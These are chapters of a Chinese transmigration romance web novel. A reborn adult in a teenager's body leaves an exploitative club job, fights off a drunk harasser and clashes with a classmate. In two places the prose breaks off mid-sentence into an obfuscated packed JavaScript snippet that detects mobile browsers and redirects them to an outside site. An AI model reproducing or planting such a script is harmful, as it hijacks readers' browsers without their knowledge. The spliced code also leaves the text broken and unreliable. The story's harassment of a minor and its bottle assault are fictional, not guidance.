一个厚重笨拙的塑料按键手机,屏幕小得可怜,边框宽大,按键磨损得几乎看不清数字。褚亭玉对这种电子古董感到陌生,但它的存在,提醒了他,自己应该是穿回了十几年前。 屏幕亮着,来电显示:六哥。 褚亭玉面无表情地按下绿色的接听键。 “喂——?!”一个粗嘎不耐烦的男声立刻从听筒里传来,“褚亭玉!你他|妈死哪儿去了?!批你一天假是让你睡死过去了吗?!看看现在几点了?!店里忙得脚打后脑勺,你人呢?!还想不想干了?!” 劈头盖脸的辱骂,市侩又蛮横。 褚亭玉皱着眉把手机拉离耳朵。活了三十年,还没人敢用这种口气跟他说话。 电话那头还在吼:“......跟你说话呢!哑巴啦?!赶紧给老子滚过来!晚一分钟,这个月工资一分钱都别想要!听到没有?!操|你|妈的!” “傻|逼。”褚亭玉低声骂了一句,然后不管三七二十一就按下了红色的挂断键。 褚亭玉捏着那部老旧的手机,胸口那股被激起的戾气尚未平复。他烦躁地划开屏幕,点进短信收件箱。 最上面几条未读短信,发件人全是“六哥”,字里行间透着威胁。 【褚亭玉!假条只到昨天!今天必须滚来上班!】 【死哪去了?电话也不接?!再不来算旷工,扣三天工资!】 【最后一次警告!十分钟不到,这月工资全扣光!喝西北风去吧!】 他面无表情地往下翻。一条来自“小夏”的短信跳了出来。 【亭玉。感觉好点了吗?领班发了好大的火,说你今天再不来就要扣光这个月工资了。要是好点就赶紧来吧,别跟钱过不去啊。一周就干两天,一天一百呢,不少了。】 一天一百。一周两天,就是两百。 褚亭玉的目光定在这行字上。 “......”一个月也才八百? 这个家,好像只有原主和姥姥两个人。 一个未成年学生,周末还得跑出去干这种廉价兼职......这日子,过得太紧巴了吧。 褚亭玉立时想起刚才那通电话。 ......原主的工资。 算了,跟钱过不去干嘛。蚊子腿再小也是块肉。 更何况,这是原主那小子辛苦赚的钱,凭什么便宜那个杂碎。 4. 第 4 章 褚亭玉翻到通讯录里“小夏”的名字,拨了过去。 电话只响了两声便被接起,一个带着关切的年轻男声传来:“亭玉?你好点没?” “地址。” 电话那头明显卡壳了:“啊?什么地址?” “上班的地方。”褚亭玉耐心告罄,语气沉冷下去。 “哦......哦!辉煌会所。就在青龙区安山路那边,你......”小夏似乎还想追问,但褚亭玉得到想要的答案,已经干脆地切断了通话。 会所?一个未成年高中生,周末跑到这种地方打工?他压下心底那点荒谬的疑问,避开老人出了门。 车子足足开了四十分钟,才在一个霓虹灯闪烁、光污染严重的街区停下。褚亭玉付钱下车,眉头拧得更紧。原主跑这么远,就为了挣那一百块? 走进会所,灯光昏黄暧昧,舞池里人影幢幢扭动。褚亭玉一身蓝白校服,杵在这片声色犬马中,扎眼得像个异类。 还没等他找人,一个尖酸刻薄的声音就劈头盖脸砸了过来:“褚亭玉!你还知道来啊?!” 一个二十五六岁的男人几步冲到他面前,脸上带着长期熬夜的浮肿和戾气。他眼珠子瞪得溜圆,手指几乎戳到褚亭玉鼻尖,唾沫横飞:“你他|妈穿这身死人皮来干嘛?!吃错药了?!客人都他|妈等着呢!赶紧给我滚去后面换衣服!想死是不是?!” 这声音,和电话里那个“六哥”完全对上了号。 褚亭玉只想拿钱走人,对这种毫无营养的咆哮充耳不闻。 “我的工......” “工什么工?!”马六一看褚亭玉这身学生打扮,就知道当初这小子说自己成年纯熟放屁,气得脸都扭曲了,“现在!立刻!马上!滚去换衣服!再敢穿着这身出来碍眼,老子打断你的腿!”他一边吼,一边伸手就粗暴地去抓褚亭玉的胳膊, 褚亭玉眼神骤然一寒,身体微动,躲开了那只爪子。 “六哥!六哥!消消气消消气!”一个身影突然从旁边冲了出来,是个和褚亭玉年龄相仿的男孩,穿着服务生的马甲,面容清秀,满脸紧张地拉住褚亭玉的胳膊,不由分说就往旁边一条昏暗的通道里拽,嘴里飞快地对马六赔笑:“六哥您别跟他一般见识,他可能还不舒服呢。我这就带他去换衣服,马上就好。保证不耽误事!” 马六被这男生一打岔,暴怒的矛头偏了偏,但依旧指着褚亭玉的背影吼:“小夏!你给我看紧他!再出幺蛾子,你们俩一起卷铺盖滚蛋!工资一分都别想要!” 通往二楼的旋转楼梯口,两个身影恰好将方才那场冲突尽收眼底。 两人都穿着裁剪精良、质地考究的衣服,与会所的浮夸风格格格不入。其中稍矮些的,顶着一头精心打理过的栗色短发,嘴角噙着一丝玩味的笑意,用手肘碰了碰身边的同伴:“哇塞,君哥,这不你们一中的校服吗?” 他扬了扬下巴,指向通道门消失的那抹蓝白校服身影,语气带着点看热闹不嫌事大的戏谑,“挺新鲜啊,现在一中的乖宝宝都能跑这儿来打工了?还穿着校服来挨骂,胆真肥。” 被他称为“君哥”的男生,身形明显更高,肩宽腿长,简单的黑衬衫和长裤穿在他身上有种清冷的贵气。他面容清俊,鼻梁高挺,冷淡地扫了一眼那扇已经关上的通道门。 “走了。”他淡淡吐出两个字,声音低沉悦耳,全然不见青春期时的哑涩滞重,而是温润如陈酒般的醇厚。 栗发男生耸耸肩,对同伴这种见怪不怪的态度习以为常,最后瞥了一眼那扇紧闭的门,懒洋洋地跟了上去。 小夏力气不小,几乎是半拖半拽地把褚亭玉拉进了一个狭小的更衣间。 更衣间里空气浑浊,弥漫着一股汗味、廉价香水和消毒水混合的怪味。 砰地关上门,隔绝了外面的喧嚣,小夏这才松手,靠着门板喘了口气,心有余悸地看着褚亭玉:“我的小祖宗哎。你怎么才来?还穿校服?六哥刚才那样子,差点就要把你生吞活剥了!” 他上下打量着褚亭玉,去看越觉得不对劲,“你电话里问地址我就觉得不对劲......你...你真糊涂了?还是发烧把脑子烧短路了?” 原主衣柜里除了校服就是女装,他不穿校服穿什么? 褚亭玉没应声,掸平被抓皱的校服袖口,抬眼看向小夏:“我来拿工资。” 小夏一愣:“......啊?拿工资?你不干了?” “嗯。” 小夏张了张嘴,看着褚亭玉垂落的刘海下那张脸,太过冷静,一时间竟语塞。他认识的褚亭玉,话不多,但没这么陌生,也没这么有压迫感。 停顿几秒。小夏像是想起什么,试探道:“那你......手术费凑够了?” 褚亭玉眉头微蹙,眼神茫然一瞬。 手术费?谁的? 老人布满皱纹的脸和简陋的房子浮现在脑海。 这种家境,能凑什么手术费? 他轻轻摇头。 “没凑齐?!”小夏的声音拔高,“那你干嘛不干了?离开这儿,你上哪儿找工资这么高的地方?” 看着褚亭玉面无表情的脸,小夏生怕他冲动,压低声音,带着吓唬:“再说了,今晚都来了。你看外面多忙?来了好些大人物,缺人手。六哥那狗脾气你知道,现在撂挑子说不干,他绝对不给你结钱!我敢打包票!” 他紧盯着褚亭玉的眼睛,加重“绝对”二字。 褚亭玉脸上纹丝未动,那威胁仿佛微风过耳。 完了,没吓住......看来是铁了心要走。小夏张了张嘴,还想再劝,却词穷了。 褚亭玉当然不在乎这千八百块钱。又不是原主那个高中生,他一个前世事业有成的成年人,赚钱的门路有的是。 但他需要拿回原主应得的劳动所得,一分都不能少。 “衣服。”褚亭玉开口。 小夏明显松了口气,露出笑容:“这就对了,赶紧......”他目光扫过褚亭玉身上那身格格不入的校服,笑容瞬间僵在脸上,猛拍脑门:“哎呀!差点忘了这茬,快脱了校服换工服,不然六哥看见又要发疯了!”他手忙脚乱地去墙角那排挂着衣服的钩子上扒拉。 褚亭玉顺着他的动作看过去。 当小夏把一件缀着蕾丝边,明显是女式的服务生短裙和搭配的小马甲塞进他怀里时,褚亭玉周身的气压骤然降到冰点。 他看向小夏,从进门到现在一直平静的脸上首次出现明显的裂痕。不是震惊,也不是愤怒,而是一种仿佛被什么极度污秽之物冒犯到的生理性厌恶。 “裙子?”褚亭玉的声音低沉得可怕,“他让我......穿这个?” 小夏被他这眼神和语气冻得一哆嗦,下意识点头,声音更小了,带着点委屈和不解:“……对啊。你、你一直穿这个上班的......不然领班怎么让你进来?客人那边也......”他看着褚亭玉越来越冷的脸色,后面的话自动消了音。 褚亭玉没再看那条碍眼的裙子,目光沉沉地盯住小夏,声音不高,却不容置疑:“换男装。” 那眼神里的冷意让小夏呼吸一窒。脑子还没转过弯,手却已缩了回来,稀里糊涂应声:“......哦,好。”转身就在那排衣服里翻找起男式的制服。 两人刚走出更衣室,就被神色匆匆的经理堵了个正着:“楼上缺人,都麻利点!” 小夏一听是楼上的贵宾包厢,眼睛一亮,压低声音对褚亭玉说:“楼上好,小费多。” 褚亭玉没应声,心道越是这种地方,是非越多。 偌大的包厢里,挤满了衣着光鲜或暴露的男男女女,空气弥漫着浓烈的烟酒味和脂粉香。 褚亭玉接了个倒酒的活。他动作麻利,存在感压到最低,只想尽快熬过这几个小时。 酒过三巡,气氛越发糜烂。几个陪酒女郎已经半挂在客人身上,娇笑连连。 主位沙发中央,一个穿花俏丝绸衬衫的青年,领口敞开到胸口,眼神迷离又居高临下。他晃着酒杯,目光漫无目的地扫过放纵的人群,突然注意到角落里那个安静倒酒的身影上。 同样的制服,穿在那人身上却有种截然不同的感觉。别人都竭力往灯光下凑,只有他,像一株生长在阴影里的冷杉,挺拔又疏离,低垂的眉眼看不清神情,却更引人深究。 青年嘴角勾起一抹兴味的弧度,推开身边一个黏上来的女人,摇晃着站起身。他步履不稳地穿过东倒西歪的人群,带着一身酒气,停在褚亭玉面前。 “喂,你。”青年声音带着醉意和命令,“抬起头来。” 褚亭玉动作顿住,没动。 青年不耐烦地“啧”了一声,猛地伸手,粗糙的手指带着不容抗拒的力道,狠狠捏住褚亭玉的下巴,强迫他抬起头。另一只手更是粗暴地将他额前碍事的刘海一把撸了上去。 一张毫无遮掩的脸,彻底暴露在昏暗的光线下。 青年的动作瞬间僵住,连呼吸都窒了一瞬。那是一张极其漂亮的脸,五官精致得如同工笔画就,皮肤在迷离的光线下白得晃眼。尤其那双被迫抬起的眼睛,眼底深处仿佛结着冰,带着一种被冒犯的冷冽,偏偏眼尾线条又生得极好,矛盾地糅合出一种惊心动魄的冷艳。 “操......”青年喉结滚动了一下,眼底的惊艳几乎要溢出来,捏着下巴的手指力道不自觉地放轻了些,“这么好看的脸......藏起来多可惜...”他的目光像蛇信子,在褚亭玉脸上贪婪地舔舐。 褚亭玉强压下胃里的翻涌和眼底几乎要喷薄而出的厉色。 小夏在一旁看得心惊肉跳,鼓起勇气想上前解围:“强哥,他新来的,不懂规矩,您......” “滚开!”被称作强哥的青年看都没看,抬脚就狠狠踹在小夏的肚子上。 小夏痛呼一声,捂着肚子跌倒在地,脸色煞白。 褚亭玉看着小夏痛苦蜷缩的样子,最后那点忍耐崩断。他唇角缓缓勾起一个极浅、带着致命蛊惑力的弧度,非但没有挣脱青年捏着自己下巴的手,反而主动向前倾身,反手抓住了青年的手腕。 在青年错愕又带着兴奋的目光中,褚亭玉贴近他的耳廓。温热的呼吸带着一丝似有若无的冷香拂过青年的耳垂,声音压得极低,有种沙哑、近乎耳语的磁性:“这里...人多,好吵。” 他顿了顿,眼波流转间,一丝似有若无的暗示如同羽毛轻轻搔过,“......不如,找个清静点的地方?就我们两个?” 强哥只觉得一股电流从耳朵直窜脊椎,半边身子都麻了。看着近在咫尺那张惊为天人的脸和勾魂摄魄的眼神,酒意和色欲瞬间冲昏头脑。 “好!好!清静地方好!”他连声应着,脸上毫不掩饰的狂喜,反手就想搂褚亭玉的腰。 褚亭玉不着痕迹地侧身避开,只虚虚扶着他的手臂,声音依旧带着诱哄的轻软:“我扶您。” 强哥脚步悬浮地被褚亭玉半扶半架地弄进一间空包厢。门刚合拢,褚亭玉脸上的那点虚假温顺瞬间褪尽,眼冒寒光乍现。 强哥迫不及待地想把人往沙发上按,褚亭玉却像没骨头似的顺势一滑,灵巧躲开,目光落在茶几上几个东倒西歪的空酒瓶上。 他抄起酒瓶,带着积压了一整晚的暴戾和恶心,狠狠抡在青年的太阳穴上! “砰!”一声闷响,伴随着玻璃碎裂的刺耳声。 青年连哼都没哼一声,眼白一翻,直接瘫软下去。褚亭玉扯下对方身上那件花里胡哨的丝绸衬衫,三两下将他双手反剪在背后,用袖子死死捆绑打结。接着脱下自己身上的侍者马甲,粗暴地揉成一团,狠狠塞进他嘴里,堵住任何可能的呻吟。 做完这一切,褚亭玉才喘了口气,踢了踢地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871349|176218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不省人事的“粽子”,声音带着点刚发泄完的狠劲,还有一丝被恶心到的咬牙切齿:“妈的,老子的豆腐好吃吗?齁不死你个杂碎!” 最后又极不甘心地抬脚,用力碾了碾对方扒拉过自己下巴的手指,听着青年喉咙里发出的痛苦闷哼,才勉强解了点气,“要不是条件不允许,老子把你爪子剁了喂狗。” 他迅速整理好衣服,走到门边调整呼吸。再抬头时,脸上已经换上恰到好处的慌乱和羞涩。 他拉开一条门缝,对着门外的保镖小声道:“强哥说...让您赶紧去买盒那个...安|全|套...要、要最大号的...” 保镖狐疑地往门缝里张望,褚亭玉立刻侧身挡住:“快去呀...强哥等急了又要发火骂人的。” 听着褚亭玉那带着点娇嗔的催促,保镖犹豫了一下,最终被支使惯了,嘟囔了一句“之前不都用小号吗”,转身快步离开。 褚亭玉:“......”嘴角抽搐了一下。 看着保镖不情不愿离开的背影,褚亭玉冷笑一声,但他刚走到走廊拐角,就听见保镖气急败坏的怒吼:“操!那小崽子肯定耍我!” 褚亭玉暗骂一声,只能拔腿往更深处跑。走廊灯光昏暗,两边包厢门紧闭,音乐声隐隐传来。身后紧跟的脚步声越来越近。 就在他经过一个包厢门时,那扇厚重的门恰好被人从里面拉开一条缝,似乎有人正要出来。 褚亭玉瞳孔一缩,来不及多想,身体本能快过大脑,猛地发力撞开门缝,整个人如同离弦之箭般冲了进去。 里面的人显然被这突如其来的闯入惊住了。对方反应极快,在褚亭玉冲撞进来的瞬间,身体本能地做出了防御反击的动作,手臂如铁钳般格开褚亭玉试图控制他的动作,另一只闪电般探出,直取褚亭玉的咽喉要害! 褚亭玉心中一惊,好快的身手!他立刻矮身试图避过,但这幅身体实在太过孱弱,根本跟不上他意识的反应速度。对方变招更快,手腕一转,精准地掐住褚亭玉的脖颈,将他狠狠抵在冰冷的墙壁上。 “唔......”后背撞上墙壁的闷痛和咽喉被锁住的窒息感让褚亭玉闷哼出声。 借着包厢内昏暗暧昧的光线,那人看清了被自己制住的闯入者的脸。那双清冷的眸子里,闪过一丝难以掩饰的错愕。 这一瞬间的愣神,对褚亭玉来说就是绝佳的机会。他抓住对方微滞的空档,手臂猛地发力格开脖子上的钳制,一手反拧对方的手臂按在墙上,另一只手快如闪电地捂住对方的嘴。动作一气呵成,带着不容反抗的强势。 “别出声!”褚亭玉的声音压得极低,带着剧烈运动后的微喘和不容置疑的命令感,灼热的气息喷在对方耳畔。 男生被他死死按在墙上,身体瞬间绷紧如弓弦。他抬眼,那双沉静的眸子近距离地看向褚亭玉,里面没有惊慌,只有一丝被打扰的不悦和探究。他定定地看了褚亭玉两秒,似乎在衡量什么,然后,极其轻微地点了下头。 褚亭玉紧盯着他的眼睛。那双眼睛很静,像深不见底的寒潭,但此刻里面确实没有恶意,反而带着一种奇异的、令人信服的冷静。他略一迟疑,松开了捂住对方嘴的手,但另一只扣住手腕的手并未放开,身体依旧处于高度戒备状态。 男生获得自由的第一时间,并没有质问或是反击,而是目光敏锐地扫过褚亭玉。当视线落在他白衬衫袖口的前襟上几点刺目的暗红血迹时,他挑了挑眉,声音低沉悦耳,带着点事不关己的冷感,甚至还有一丝难以察觉的玩味: “你杀人了?”语气平静得像在讨论天气。 褚亭玉:“......” 他刚想冷声反驳,包厢的门突然被人大力推开! “搜这间!仔细点!”保镖的声音粗暴地闯了进来。 褚亭玉甚至没看清身边男生的动作。只觉得腰间猛地一紧,一股不容抗拒的强大力道传来,天旋地转间,他整个人被一股清冽的气息完全包笼罩。下一秒,褚亭玉已经被带着重重跌坐在柔软的沙发里,脸颊被迫紧紧贴上一个温热的胸膛。 与此同时。 “啪擦——!” 酒瓶在距离门口保镖脚趾不到三寸的地方轰然炸裂!玻璃碎片混合着琥珀色的酒液四散飞溅,浓烈的酒气瞬间在空气中爆开。 “滚出去!” 男生的声音不高,却带着一种浸入骨髓的寒意和不容置疑的威压。他微抬着眸,那眼神里的冰冷和警告意味,比任何怒吼都更具有穿透力和威慑力。 门口的保镖被这突如其来的酒瓶爆裂和冰锥般的眼神骇得生生止步,对上男生那双毫无温度的眼睛,一股寒意从脚底板直冲天灵盖。他张了张嘴,愣是一个字没敢再说,灰溜溜地退了出去,还顺手带上了门。 包厢里只剩下震耳欲聋的音乐背景音,以及......紧紧贴在一起、姿势无比暧昧的两个少年。 褚亭玉整个人都僵住了。 他的脸被迫埋在对方紧实温热的胸膛上,鼻尖萦绕着那股极其清冽好闻的冷香,像是雪后松林的气息,干净得不可思议,完全盖过了包厢里原本浑浊的烟酒味。 隔着薄薄的衣料,他能清晰地感受到对方胸腔下沉稳有力的心跳震动,以及传递过来的、属于另一个人的体温。 对方的手臂还强硬地环在他的腰上。这是他第一次......与人如此毫无间隙地紧贴在一起。 这种完全陌生的、被另一个男性气息彻底笼罩、甚至掌控的感觉,让他浑身汗毛倒竖,每一寸肌肉都绷紧到了极致,大脑有瞬间的空白。 男生似乎也察觉到了怀里身体的僵硬。他低头,看着褚亭玉几乎埋在自己胸口的发顶,眼底闪过一丝极淡又难以言喻的情绪。 他并没有立刻松手,只是微微侧头,下巴几乎擦过褚亭玉的额角,声音压得很低: “你是几班的?” 5. 第 5 章 床上的褚亭玉睡得正沉。前世生物钟的惯性,让他对这具身体,作为一个高二学生该有的早起节奏毫无概念。 “亭玉?亭玉?该起了,再睡要迟到了......” 那声音不大,却像细针一样扎进褚亭玉混沌的睡眠里。他烦躁地在薄被里拧了下眉,心里一阵无名火起。 谁这么不识相,大清早扰人清梦?他下意识想翻个身蒙头就继续睡。 身体刚一动,触感却不对。硬邦邦的木板床硌着腰,空气里有股淡淡的、陌生的陈旧味道,完全不同于他前世任何一间公寓。混沌的意识如同被泼了一盆冰水,骤然清醒。 门外,老人的声音染上了真切的焦急:“亭玉?你没事吧?是不是哪里不舒服?快开门让姥姥看看!” 褚亭玉深吸一口气,压下那无处发泄的起床气,哑着嗓子应了一声:“......醒了,没事。”他掀开被子坐起身,揉了揉发胀的太阳穴。 迟到?是了,他现在是个还得去上学的十七岁少年。 他慢吞吞地穿好衣服,打开房门。老人就守在门口,布满皱纹的脸上全是担忧,手里提着一个透明的塑料袋,里面装着几个还冒着热气的包子和一杯豆浆。 “快,拿着路上垫垫肚子。今天怎么睡这么沉?可把姥姥吓着了。” 老人一边把早餐塞进他手里,一边习惯性地抬手想帮他理理衣领,目光猛地定在他颈侧那片尚未消散的青紫色淤痕上。 褚亭玉皮肤本就比常人白皙,又格外容易留痕,这片淤青在晨光下显得特别触目惊心。 老人浑浊的眼睛里立刻溢满了心疼和难过,声音都颤了:“哎哟,这......这脖子怎么又青了这么一大块?昨天问你也不吭声......疼不疼啊?”她枯瘦的手指伸到半空,想碰又不敢碰。 褚亭玉下意识偏了偏头,避开那小心翼翼的触碰,语气平淡:“不疼,没事。”他接过早餐,不愿在这个问题上纠缠,更不想看到老人忧心忡忡的眼神,“我走了。” 他抓起那个空瘪得几乎没装几本书的书包甩到肩上,转身出了门。老人那句“路上小心点,慢些吃......”被关在了门后。 清晨的街道带着凉意,行人不多。褚亭玉咬着包子,豆浆袋挂在手指间晃荡。他站在巷子口,望着眼前陌生的街景,第一次感到一阵深切的茫然。 学校在哪? 脑子里关于原主的记忆一片空白。他像个初来乍到的异乡人,站在人生的十字路口,连东西南北都分不清。 “喂,怎么走?”褚亭玉不客气地问系统。 他按照系统给的路线,总算看到那所规模不小的“海城一中”大门。 然而,校门口的气氛让他刚走近的脚步就顿住了。 或许是周一要升旗的缘故,查得很严。几个穿着正式、精神严肃的老师像门神一样杵着,旁边还站着几个手臂上套着鲜红“值日”袖章的学生干部,目光犀利地扫视着鱼贯而入的学生。不时有忘记佩戴校牌或者仪容不整的被拎出来,在众目睽睽之下接受盘问、登记。 褚亭玉立刻想起了挂在卧室那面旧镜子旁的蓝色校牌。 他当然没带。 让他一个灵魂将近三十岁的老油条,被一群半大孩子或老师堵在校门口训斥,质问为什么不戴校牌?更何况,以他浅薄的经验,原主这头过耳的头发,怕是不好混过那道“仪容仪表”的关隘。 光是想象那场景,褚亭玉就觉得一股荒谬的尴尬直冲天灵盖。这比在谈判桌上被对手狠狠压价还要难堪。 逃了。 这个念头几乎是瞬间就占了上风。反正家里的老人不会知道他没去学校,只需挨到放学时间回去便是。 没有任何犹豫,褚亭玉直接转身,朝着与涌入校门截然相反的方向,沿着人行道左侧快步走去,动作自然得就像他只是路过。 周君珩的视线,在那道带着点漫不经心、逆着人流向外走的身影上,停留了两秒。 “去买瓶水。”他对旁边另一位值日同伴淡淡丢下一句,顺手拿过对方手里刚从其他学生身上扣下的校牌。 “哦,好。”同伴下意识点头,看着他拿着个校牌转身就走,心里有点纳闷,买水拿别人的校牌做什么?但他也没多想,回头见教导主任投来询问的眼神,赶紧解释:“君珩说口渴,去买水了。” 周君珩步伐看似从容,速度却不慢。他很快穿过校门外三三两两的学生和家长,目光精准地锁定了前方那个沿着街边绿化带独自前行的身影。 几步追近,他在褚亭玉身侧稍前一点的位置停下,恰好挡住了去路。 “同学,”周君珩的声音很淡,听不出情绪,就像在叫一个素不相识的路人,“没戴校牌吗?” 褚亭玉正琢磨着找个地方消磨这漫长的一天,听到身后传来“同学”的称呼,根本没觉得是在叫自己。脚步未停,直到一道身影完全笼罩下来,他才不得不驻足,抬眼看去。 四目相对。 眼前这张清俊冷淡的脸,瞬间和昨晚昏暗包厢里那双深潭般的眸子重合。 褚亭玉瞳孔微微一缩。 周君珩仿佛没认出他,平静地伸出手,骨节分明的手指捏着一个蓝色校牌,递到褚亭玉面前。 褚亭玉的目光落在那枚校牌上,又缓缓移回周君珩的脸上。对方的表情平静得像一潭深水,看不出任何多余的情绪。但褚亭玉心里却“腾”地窜起一股极其不爽的感觉。 这感觉来得突兀又蛮横,像是私人领地被人无端闯入,又像是幼稚的逃课计划被人轻描淡写地戳破。褚亭玉脸上依旧没什么表情,眼神也是淡淡的,但那细微的下颌线似乎绷紧了一瞬,周身气压仿佛低了一度。 周君珩递着校牌的手稳稳地停在空中。他看着褚亭玉,对方脸上没有任何明显的怒意或不耐,可那双眼睛深处,那几乎难以捕捉的、一闪而过的郁卒和......排斥? 周君珩敏锐地接收到了。那感觉,就像自己递过去的不是通行证,而是一块烫手山芋,多此一举,惹人厌烦。 空气凝固了片刻。 最终,褚亭玉什么也没说,他伸出手,动作谈不上客气,几乎是带点微妙的力道,一把将那长方形的牌子从周君珩指间抽走。 然后,他看也不看周君珩,捏着那枚多出来的物件,几乎是硬着头皮,转身往回走。 周君珩站在原地,看着那个蓝白身影混入人群,垂眸,指尖捻了捻刚才被擦过的地方,眼神里掠过一丝罕见的、带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871350|176218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点新鲜的怪异。 顺利进入校园,褚亭玉脚步放慢了些,目光扫过眼前陌生的楼宇和穿梭的学生,那种格格不入的疏离感再次翻涌上来。 高二(7)班? “喂,指个方向。”他在脑海里呼唤那个跟死机无异的系统。 “叮铃铃——!” 尖锐的上课预备铃毫无预兆地炸响,惊得周围的学生瞬间加快了脚步,走廊里响起一片杂乱的奔跑脚步声。褚亭玉被这突如其来的噪音刺得眉头一皱,心底的烦躁更添一层。 就在这时,那道刚刚才听过、低沉而辨识度极高的声音,再次在他身后不远不近地响起: “同学。” 褚亭玉脚步一顿,心里那点刚压下去的火“噌”地又冒了上来。还有完没完?这人怎么跟块甩不掉的狗皮膏药似的? 他还没来得及做出反应,周君珩已经自然地走到了他身侧,保持着半步的距离。 褚亭玉眼角余光扫到周君珩垂在身侧的右手似乎拿着个什么小盒子,但他此刻烦着呢,根本懒得细看。 周君珩的目光落在他脸上,仿佛只是随口一问:“你还没告诉我,你是几班的?” 褚亭玉猛地转过身。他脸上依旧是那副没什么表情的冷淡样子,但那双眼睛里压抑的恼火几乎溢出来。他直直地盯着周君珩那张过分英俊也过分平静的脸。 理智告诉他对方确实没恶意,甚至算帮了他两次。可这种被步步紧逼、如影随形的感觉,让他心里那股邪火无论如何也按捺不住。 这种矛盾感让他对自己的烦躁也生出一丝懊恼,可那点不爽终究占了上风。他扯了扯嘴角,弯出一个没什么温度、带着明显嘲弄意味的弧度,声音不高,却字字清晰,带着冰碴。 “这位同学。”他刻意加重了最后两个字的咬字,眼神里毫不掩饰“你管得着吗”的疏离,“校规里没写要向你报备班级吧?热心过头了吧?” 说完,他根本不等周君珩有任何反应,仿佛多停留一秒都是煎熬,转身大步流星地走了。 周君珩下意识抬了抬拿着药盒的手,那句到了嘴边的“这个给你......”彻底噎在了喉咙里。他低头又看了一眼手里那罐刚从附近药店匆匆买来的化瘀喷雾,嘴角扯出一丝自嘲的苦笑。 本想道歉和弥补,但对方连一个眼神都没给,更别说开口的机会了。那晚他确实用了狠劲,却没想到会在褚亭玉冷白的皮肤上留下如此刺眼的痕迹。 周君珩站在原地,看着褚亭玉迅速消失在走廊拐角。对方那句带着倒刺的讽刺和转身就走的姿态清晰地传递了一个信息。 他被讨厌了。而且是毫不掩饰、带着点迁怒性质的、直白的讨厌。 这感觉很新奇,甚至......有点意思。 从小到大,周君珩习惯了周围人或敬畏、或讨好、或倾慕的目光。被人如此真心实意地排斥和嫌弃,尤其是被一个自己主动伸出过两次“援手”的对象这样对待,对他而言是一种全然陌生的体验。 但,对方连愠怒的样子,也......生动得好看。 周君珩唇角牵起一丝极淡的弧度,转瞬即逝,带着点玩味的探究。 行吧。几班?总有办法知道,反正,来日方长。 6. 第 6 章 这处的骚动,一下子震住了整个餐厅,鸦雀无声。 叶蓁蓁回过神,心头一紧。 莫非周君珩与褚亭玉早有宿怨? 这个念头一起,一颗心登时悬到了嗓子眼,唯恐褚亭玉吃亏。 “周先生,请放手。”她咬了咬牙,硬是上前一步,试图斡旋:“褚亭玉是我未婚夫,你这是做什么?” “未婚夫”三个字如毒针贯耳,周君珩耳中一阵灼麻剧痛。 他倏地扭过头,目光如两道实质的冰锥,狠狠钉在叶蓁蓁脸上。 那双眼中赤裸裸的敌意与独占欲,是叶蓁蓁在衣食鬓影间绝难想象的、属于掠食顶端的森然凝视。 只一眼,叶蓁蓁便觉一股阴寒的电流顺着脊柱疾速攀升,心脏猛地一缩,呼吸都窒住了。 “未婚夫?呵。”他声音冷硬如铁,带着不容置疑的威压:“叶小姐,他做不成你的未婚夫。” 元华和刘鑫早已惊得从座位上弹起来。 元华作为经纪人,本能地要冲上去解围,却被身旁的袁刚的手死死按住了胳膊。 袁刚面色凝重,对他微微摇头。 刘鑫则彻底傻了眼。他何曾见过周君珩这般失态?尤其对象还是叶家的联姻对象,那歇斯底里的模样,俨然一个被抛弃的怨夫。这巨大的冲击令他脑中嗡鸣不止。 餐厅里其他客人早已停下用餐,纷纷侧目,有人甚至悄悄举起了手机。 元华急得额头渗出细密的冷汗。 周君珩对周遭的一切视若无睹。他收回视线,转而死死锁着褚亭玉,仿佛整个世界只剩下这张让他恨入骨髓又思念成狂的脸。手腕上的力道非但没松,反而像溺水者抓住最后的浮木般更用力地收紧,甚至猛地发力将褚亭玉拉向自己。 褚亭玉猝不及防,身体失去平衡,向前踉跄一步,肩膀几乎撞进周君珩怀里。那股熟悉的、糅合了清冷木质与一丝烟草的气息瞬间包裹了他。 “疼?”周君珩的声音嘶哑破碎,带着浓重的哭腔和刻骨的恨意,每个字都像从喉咙里硬生生抠出来,“褚亭玉,你知道这七年我是怎么熬过来的吗?你他妈知道吗?” “你凭什么说走就走?凭什么...连一个解释都不肯给我?!” 他最后的质问几乎是嘶吼出来的,完全颠覆了荧幕上那个矜贵从容的公众形象,像一头被逼到绝境的困兽。 褚亭玉眉峰微蹙。手腕上传来的锐痛对他而言尚能忍受,真正让他蹙眉的是周君珩的失控和四周聚焦的目光。 他目光迅速扫过惊愕的叶蓁蓁、焦灼的元华和呆滞的刘鑫,最后落回周君珩那张因痛苦而扭曲的英俊面孔上。 “周君珩,冷静点。”他的声线依旧低沉平稳,只掺着一丝不易察觉的倦意,“这里不是说话的地方。” 褚亭玉尝试抽手,纹丝未动。周君珩的力道大得惊人,指节因用力过度泛着白。 “行!那就换个!”周君珩不容分说,几乎是拽着褚亭玉就朝着大门大步走去。 褚亭玉被他拽得脚下不稳,却没再强行挣脱。 在众目睽睽之下闹得更大,显然更糟。 “褚亭玉!”叶蓁蓁下意识喊出声,想阻拦。 褚亭玉只来得及侧目递给她一个安抚的眼神。随即,他的身影便被周君珩强硬地拖入旋转门,消失在众人的视野里。 袁刚如影随形,立刻跟上。 